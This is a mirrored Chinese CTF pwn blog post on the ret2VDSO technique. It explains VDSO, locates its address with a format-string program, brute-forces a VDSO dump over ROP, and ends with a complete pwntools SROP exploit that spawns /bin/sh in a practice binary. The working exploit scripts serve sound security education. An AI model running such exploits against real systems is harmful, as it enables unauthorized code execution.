5

【Pwn 笔记】栈溢出利用总结 -- Advanced ROP

 2 years ago
source link: https://binlep.github.io/2020/03/03/%E3%80%90Pwn%20%E7%AC%94%E8%AE%B0%E3%80%91%E6%A0%88%E6%BA%A2%E5%87%BA%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93%20--%20Advanced%20ROP/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

这个套脚本基本就完了,先不细看了

ret2VDSO

VDSO 简述

VDSO (Virtual Dynamically-linked Shared Object),中文名是:虚拟动态共享对象

它是一个内核会自动映射到每个用户进程的地址空间的小型共享库

简单来说,可以把 VDSO 看成一个 .so 动态库链接文件,但是不同的内核,VDSO 的内容也是不同的

利用 ldd 命令就能看到 VDSO 的动态地址了,每次使用命令的时候 VDSO 的地址都会改变,如下:

root@lepPwn:~/CTF/Pwn# ldd /bin/sh
linux-vdso.so.1 => (0x00007ffc0ddb9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5a2e1f2000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5a2e7e4000)

这里linux-vdso.so.1指的就是 VDSO,在 32 位程序下,这块的名字是linux-gate.so.1,都是一个意思

关于 VDSO 在内存中的存储

VDSO 在内存里的存储地址最方便利用的有两处:

第一处 栈空间里:

这个方法是接下来泄露 VDSO 的首要方法,地址需要自己去调试更改

因为同一个程序在不同的系统里,VDSO 的地址在栈空间内存放的地址偏移是不一样的

第二处 _rtld_global_ro:

这里是直接用 gdb 来显示 VDSO 的地址,这个地址是在程序加载时映射到ld.so文件里的

比如 32 位 libc 2.29,该地址就在程序运行的时候被映射到/usr/lib/i386-linux-gnu/ld-2.29.so

查看存储 VDSO 地址的地址

p &_rtld_global_ro._dl_sysinfo_dso

查看 VDSO 的地址

p _rtld_global_ro._dl_sysinfo_dso

获取 VDSO 的动态加载地址

写一个 C 语言程序来查看即可,以下脚本基本都是由 EX 师傅所写,会有略微的修改

基本上 VDSO 的地址会在 123-125 左右浮动:

// compiled: gcc -g -m32 get_vdso_addr.c -o get_vdso_addr
#include <stdio.h>

int main()
{
printf("vdso addr: %123$p\n");
return 0;
}

该程序输出如下:

vdso addr: 0xf7f75000

这后面的地址是会变的,不过不同的系统会有会有固定的最大值和最小值

写个 python 脚本来获取当前系统 VDSO 地址的最大值和最小值:

#!/usr/bin/python
# -*- coding:utf-8 -*-

import os

result = []
for i in range(0, 10000):
result.append(os.popen('./get_vdso_addr').read()[-11:-1])

result = sorted(result)

print '[\033[0;32m+\033[0m]min = ' + result[0]
print '[\033[0;32m+\033[0m]max = ' + result[len(result) - 1]

输出如下:

[+]min = 0xf7ed8000
[+]max = 0xf7fd7000

于是我们就获取了 VDSO 的动态加载地址

原程序(ret2VDSO.s)如下:

push ebp
mov ebp, esp
sub esp, 128
lea eax, buf
push 4096
push eax
push 0
mov eax, 0
call read
add esp, 12

mov esi, eax

push esi
lea eax, buf
push eax
lea eax, -128[ebp]
push eax
call memcpy
add esp, 12

lea eax, -128[ebp]
push esi
push eax
push 1
mov eax, 0
call write
add esp, 12

mov eax, 0
mov esp, ebp
pop ebp
ret

反汇编出来的程序如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int size; // esi
char addr[128]; // [esp+0h] [ebp-80h]

size = read(0, buf, 0x1000u);
memcpy(addr, buf, size);
write(1, addr, size);
return 0;
}

因为是手写汇编而来的程序,所以并不能依赖 glibc:

root@lepPwn:~/CTF/Pwn# ldd ret2VDSO 
不是动态可执行文件

查看有没有什么可用的 ROP:

root@lepPwn:~/CTF/Pwn# ROPgadget --binary ret2VDSO 
Gadgets information
============================================================
0x080480b2 : adc byte ptr [eax + 3], bh ; int 0x80
0x080480c9 : adc byte ptr [eax + 4], bh ; int 0x80
0x08048102 : adc byte ptr [edi - 0x21], dh ; leave ; ret
0x080480cb : add al, 0 ; add byte ptr [eax], al ; int 0x80
0x08048156 : add byte ptr [eax], al ; add byte ptr [eax], al ; mov esp, ebp ; pop ebp ; ret
0x080480a3 : add byte ptr [eax], al ; int 0x80
0x0804809c : add byte ptr [eax], al ; mov ebx, eax ; mov eax, 1 ; int 0x80
0x08048158 : add byte ptr [eax], al ; mov esp, ebp ; pop ebp ; ret
0x0804809d : add byte ptr [ecx + 0x1b8c3], cl ; add byte ptr [eax], al ; int 0x80
0x080480a1 : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
0x080480b4 : add eax, dword ptr [eax] ; add byte ptr [eax], al ; int 0x80
0x080480ff : cld ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480eb ; leave ; ret
0x08048100 : cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ea ; leave ; ret
0x08048104 : fxch st(0), st(1) ; ret
0x080480bb : in al, dx ; pop ebp ; ret
0x08048101 : inc ebp ; adc byte ptr [edi - 0x21], dh ; leave ; ret
0x080480fe : inc ebp ; cld ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ec ; leave ; ret
0x080480a5 : int 0x80
0x08048103 : ja 0x80480e7 ; leave ; ret
0x08048105 : leave ; ret
0x08048155 : mov eax, 0 ; mov esp, ebp ; pop ebp ; ret
0x080480a0 : mov eax, 1 ; int 0x80
0x080480b3 : mov eax, 3 ; int 0x80
0x080480ca : mov eax, 4 ; int 0x80
0x080480fd : mov eax, dword ptr [ebp - 4] ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ed ; leave ; ret
0x0804809e : mov ebx, eax ; mov eax, 1 ; int 0x80
0x080480b0 : mov edx, dword ptr [ebp + 0x10] ; mov eax, 3 ; int 0x80
0x080480c7 : mov edx, dword ptr [ebp + 0x10] ; mov eax, 4 ; int 0x80
0x080480ba : mov esp, ebp ; pop ebp ; ret
0x080480af : or al, 0x8b ; push ebp ; adc byte ptr [eax + 3], bh ; int 0x80
0x080480c6 : or al, 0x8b ; push ebp ; adc byte ptr [eax + 4], bh ; int 0x80
0x08048154 : or al, 0xb8 ; add byte ptr [eax], al ; add byte ptr [eax], al ; mov esp, ebp ; pop ebp ; ret
0x080480f1 : or byte ptr [ecx], al ; retf 0xb60f
0x080480bc : pop ebp ; ret
0x080480b1 : push ebp ; adc byte ptr [eax + 3], bh ; int 0x80
0x080480c8 : push ebp ; adc byte ptr [eax + 4], bh ; int 0x80
0x080480f0 : push ebp ; or byte ptr [ecx], al ; retf 0xb60f
0x0804809f : ret
0x080480f3 : retf 0xb60f
0x080480eb : ror byte ptr [ebx + 0x558bfc4d], 1 ; or byte ptr [ecx], al ; retf 0xb60f

Unique gadgets found: 40

发现并没有什么可用的 ROP,这时候就可以考虑使用 VDSO 进行 ROP 利用,那么先学习一下如何得到 VDSO 文件

如何得到 VDSO 的内容

根据之前的内容,我们已经得到了 VDSO 的动态加载地址,接下来要考虑的就是要如何利用程序得到 VDSO 的内容

因为 VDSO 里函数的偏移在不同的系统里也是不一样的,所以需要先自己把 VDSO 文件读出来,再进行利用

由最大值和最小值可以看出能成功爆破出 VDSO 地址的概率为 1 / 512

脚本如下,将之前得到的最大值和最小值填到 range 函数里面,每次改动都是以 0x1000 来浮动,所以步长设置为 0x1000:

#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *

context(arch="i386", endian='el', os="linux")
# context.log_level = 'debug'
elf = ELF("./ret2VDSO", checksec=False)
RANGE_VDSO = range(0xf7ed8000, 0xf7fd7000, 0x1000)
addr_vdso = random.choice(RANGE_VDSO)

while True:
try:
p = process("./ret2VDSO")
# gdb.attach(p, 'b *0x80480cf\nc\nc')
pd = 'a' * 0x84
pd += p32(elf.sym['write'])
pd += p32(0)
pd += p32(1)
pd += p32(addr_vdso)
pd += p32(0x4000)
p.send(pd)
p.recvuntil(pd)
result = p.recvall(timeout=0.1)

if len(result) >= 0x2000:
with open('vdso.so', 'wb') as wl:
wl.write(result)
success("Success")
p.close()
exit(1337)
p.close()
except Exception as e:
p.close()

最后得到的文件大小应该是8.2 KB (8,192 字节)正好对应 0x2000 ,即 2 内存页的 VDSO 内容

VDSO 中的内容

注意这里面的偏移在不同的系统里也是不一样的,需要先自己把 VDSO 文件读出来,再进行利用

vdso_x64.so

root@lepPwn:~/CTF/Pwn# objdump -T vdso_x64.so

vdso_x64.so: 文件格式 elf64-x86-64

DYNAMIC SYMBOL TABLE:
0000000000000a30 w DF .text 0000000000000305 LINUX_2.6 clock_gettime
0000000000000d40 g DF .text 00000000000001c1 LINUX_2.6 __vdso_gettimeofday
0000000000000d40 w DF .text 00000000000001c1 LINUX_2.6 gettimeofday
0000000000000f10 g DF .text 0000000000000015 LINUX_2.6 __vdso_time
0000000000000f10 w DF .text 0000000000000015 LINUX_2.6 time
0000000000000a30 g DF .text 0000000000000305 LINUX_2.6 __vdso_clock_gettime
0000000000000000 g DO *ABS* 0000000000000000 LINUX_2.6 LINUX_2.6
0000000000000f30 g DF .text 000000000000002a LINUX_2.6 __vdso_getcpu
0000000000000f30 w DF .text 000000000000002a LINUX_2.6 getcpu

vdso_x86.so

root@lepPwn:~/CTF/Pwn# objdump -T vdso_x86.so

vdso_x86.so: 文件格式 elf32-i386

DYNAMIC SYMBOL TABLE:
00000fd0 g DF .text 0000000d LINUX_2.5 __kernel_vsyscall
00000d00 g DF .text 00000281 LINUX_2.6 __vdso_gettimeofday
00000ff0 g DF .text 00000009 LINUX_2.5 __kernel_sigreturn
00000f90 g DF .text 00000028 LINUX_2.6 __vdso_time
00000000 g DO *ABS* 00000000 LINUX_2.5 LINUX_2.5
00001000 g DF .text 00000008 LINUX_2.5 __kernel_rt_sigreturn
00000810 g DF .text 000004e6 LINUX_2.6 __vdso_clock_gettime
00000000 g DO *ABS* 00000000 LINUX_2.6 LINUX_2.6

可以看到有个__kernel_rt_sigreturn,利用这个可以使用 SROP 来进行提权

这也是 ret2VDSO 为什么经常是 32 位的原因

Getshell

那么利用 SROP 即可得到 shell

#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *

context(arch="i386", endian='el', os="linux")
# context.log_level = 'debug'
elf = ELF("./ret2VDSO", checksec=False)
# 这个文件需要先用脚本读出来
vdso = ELF("./vdso.so", checksec=False)
RANGE_VDSO = range(0xf7ed8000, 0xf7fd7000, 0x1000)
addr_vdso = random.choice(RANGE_VDSO)
addr_int_0x80 = 0x080480a5
addr_bin_sh = elf.sym['buf']
addr___kernel_sigreturn = addr_vdso + vdso.sym['__kernel_sigreturn']

frame = SigreturnFrame(kernel='amd64')
frame.eax = constants.SYS_execve
frame.ebx = addr_bin_sh
frame.ecx = 0
frame.edx = 0
frame.eip = addr_int_0x80
frame.cs = 0x23
frame.ss = 0x2b
frame.ds = 0x2b
frame.es = 0x2b
frame.gs = 0
frame.fs = 0

while True:
try:
p = process("./ret2VDSO")
# gdb.attach(p, 'b *0x804815d\nc')
pd = '/bin/sh'
pd = pd.ljust(0x84, '\x00')
pd += p32(addr___kernel_sigreturn)
pd += 'a' * 4 # from debug
pd += str(frame)
p.send(pd)
# pause() # for debug
p.recvuntil(pd)
p.sendline('ls -la')
p.recv(timeout=0.1)
p.recv(timeout=0.1)
p.interactive()
p.close()
except Exception as e:
p.close()

https://xz.aliyun.com/t/5236

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK